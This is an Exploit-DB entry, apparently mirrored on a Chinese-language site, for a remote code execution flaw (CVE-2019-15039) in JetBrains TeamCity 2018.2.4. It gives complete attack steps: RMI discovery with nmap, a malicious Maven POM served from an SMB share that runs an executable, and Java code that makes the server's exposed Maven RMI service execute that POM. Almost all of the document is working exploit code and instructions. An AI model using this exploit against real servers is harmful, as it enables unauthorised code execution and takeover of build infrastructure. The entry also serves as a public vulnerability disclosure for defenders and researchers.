JetBrains TeamCity 2018.2.4 – Remote Code Execution

  • 作者: hantwister
    日期: 2020-01-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47891/
  • # Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution
    # Date: 2020-01-07
    # Exploit Author: Harrison Neal
    # Vendor Homepage: https://www.jetbrains.com/
    # Software Link: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads
    # Version: 2018.2.4 for Windows
    # CVE: CVE-2019-15039
    
    # You'll need a few .jars from a copy of TeamCity to compile and run this code
    # To compile, file path should match ${package}/${class}.java, e.g.,
    # com/whatdidibreak/teamcity_expl/Main.java
    
    # Instructions for Windows (easier case):
    
    # 1) Verify exploitability.
    #1a) Verify the remote host is running Windows, e.g. checking for common
    #running services and their versions.
    #1b) Discover Java RMI services on the remote host, e.g. doing a 65k port
    #scan using nmap and the rmi-dumpregistry script. On one port, there
    #should be a registry with an object named teamcity-mavenServer. This
    #object should point to a second open port that is also identified as
    #Java RMI.
    
    # 2) Prepare the payload.
    #2a) There needs to be an SMB share that the TeamCity software can read from
    #and that you can write to. You might establish a share on your own
    #system and make it accessible to anonymous users. Alternatively, if the
    #TeamCity server is domain-joined, you might find a pre-existing share
    #elsewhere in the domain.
    #2b) Place a malicious POM in that share, e.g.
    
    <project>
    	<modelVersion>4.0.0</modelVersion>
    	<groupId>com.mycompany.app</groupId>
    	<artifactId>my-module</artifactId>
    	<version>1</version>
    	<build>
    		<plugins>
    			<plugin>
    				<groupId>org.codehaus.mojo</groupId> 
    				<artifactId>exec-maven-plugin</artifactId> 
    				<version>1.1.1</version> 
    				<executions>
    					<execution>
    						<goals>
    							<goal>exec</goal> 
    						</goals>
    					</execution>
    				</executions>
    				<configuration>
    					<executable>calc</executable>
    					<arguments>
    						<argument>-testarg</argument>
    					</arguments>
    				</configuration>
    			</plugin>
    		</plugins>
    	</build>
    </project>
    
    # 3) Run this exploit.
    #Argument #1: TeamCity host (IP or FQDN)
    #Argument #2: Port of RMI Registry (the first open port described above)
    #Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml)
    #Argument #4: POM goal (e.g., exec:exec)
    
    # NOTE: It is possible to exploit this issue in other situations, e.g. if the
    # TeamCity server is running on a *nix system that allows access to some local
    # directory over NFS.
    
     */
    package com.whatdidibreak.teamcity_expl;
    
    import java.io.File;
    import java.io.IOException;
    
    import java.net.InetSocketAddress;
    import java.net.ServerSocket;
    import java.net.Socket;
    
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.rmi.server.RMISocketFactory;
    
    import java.util.ArrayList;
    import java.util.List;
    
    import jetbrains.buildServer.maven.remote.MavenServer;
    import jetbrains.buildServer.maven.remote.RemoteEmbedder;
    import org.jetbrains.maven.embedder.MavenEmbedderSettings;
    import org.jetbrains.maven.embedder.MavenExecutionResult;
    
    public class Main {
    
    public static void main(String[] args) throws Throwable {
    String host = args[0];
    int port = Integer.parseInt(args[1]);
    String pomPath = args[2];
    String goal = args[3];
    
    // The exported object may point to a different host than what we're
    // using to connect to the registry, which could break things, i.e.,
    // - localhost
    // - for a multi-homed target, an IP we can't connect to
    // - a FQDN or hostname we can't resolve
    // - etc.
    // For this reason, we'll set up a socket factory that forces all
    // connections to go to the host specified by the user, ignoring the
    // host pointed to by the exported object.
    OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host);
    RMISocketFactory.setSocketFactory(sf);
    
    // The rest of the code in this method should look fairly typical for
    // interacting with remote objects using RMI.
    Registry r = LocateRegistry.getRegistry(host, port, sf);
    
    MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer");
    
    MavenEmbedderSettings mes = new MavenEmbedderSettings();
    RemoteEmbedder re = ms.exportEmbedder(mes);
    
    File f = new File(pomPath);
    List ap = new ArrayList();
    List g = new ArrayList();
    g.add(goal);
    MavenExecutionResult mer = re.execute(f, ap, g);
    }
    
    private static class OverrideHostSocketFactory extends RMISocketFactory {
    
    private String targetHost;
    
    public OverrideHostSocketFactory(String targetHost) {
    this.targetHost = targetHost;
    }
    
    @Override
    public Socket createSocket(String host, int port) throws IOException {
    Socket toReturn = new Socket();
    toReturn.connect(new InetSocketAddress(targetHost, port));
    return toReturn;
    }
    
    @Override
    public ServerSocket createServerSocket(int port) throws IOException {
    throw new UnsupportedOperationException("Not supported yet.");
    }
    }
    }